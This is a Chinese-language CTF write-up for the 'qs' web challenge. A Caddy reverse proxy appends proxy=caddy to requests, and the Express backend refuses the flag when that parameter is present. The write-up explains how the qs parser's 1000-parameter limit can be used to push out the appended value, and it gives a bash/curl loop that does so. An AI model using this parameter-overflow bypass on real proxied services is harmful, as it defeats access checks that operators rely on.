qs

#Web #caddy #nodejs #express #qs

碎碎念

这题是CrackTC的心理阴影qaq，~~抄袭自~~灵感来源于日本人主办的一个CTF（忘了名字）的签到题，算是第一次打正式比赛，然后因为这题爆零了wuwuwu

---

Caddyfile

```
:80 {
    rewrite * {path}?{query}&proxy=caddy
    reverse_proxy 127.0.0.1:2333
}
```

这里是caddy作为反向代理服务器，把请求分发给2333端口之前在url的结尾加上了`proxy=caddy`

index.js

```
require("express")()
    .get("/", (request, response) => {
        request.query.proxy.includes("caddy")
            ? response.status(400).send("I don't like caddy:(")
            : response.send(`\\/\\/\\/caddy wa saikou!\\/\\/\\/<br>${process.env.FLAG
?? "Spirit{fake-flag-qwq}"}`);
    })
    .listen(2333, "0.0.0.0")
```

这里是node作为后端服务器监听2333端口，如果url查询中的proxy参数包含caddy就无法获得flag

因为docker镜像只expose并映射了80端口~~（frp好像也只通了80端口）~~，所以想要直接访问2333端口是行不通的～

在这种情况下，最有可能取得突破的地方就是双方对数据的不同解读啦（利用数据一致性上的漏洞或许算是比较常见的思路）

我们尝试阅读express关于url query的文档

> The value of this property can be configured with the query parser application setting to work how your application needs it. A very popular query string parser is the `qs` module, and this is used by default.

ljharb/qs

在README中可以找到这样一段话

> The depth limit helps mitigate abuse when qs is used to parse user input, and it is recommended to keep it a reasonably small number.
>
> For similar reasons, by default qs will only parse up to 1000 parameters.

默认情况下qs会限制1000个参数，多复制粘贴几遍就能把最后的caddy顶掉

也不能太长，不然也要罢工啦～

```
query='?proxy=none'

for i in {1..999}
do
    query=$query'&proxy=none'
done

curl 'http://<host>:<port>/'$query
```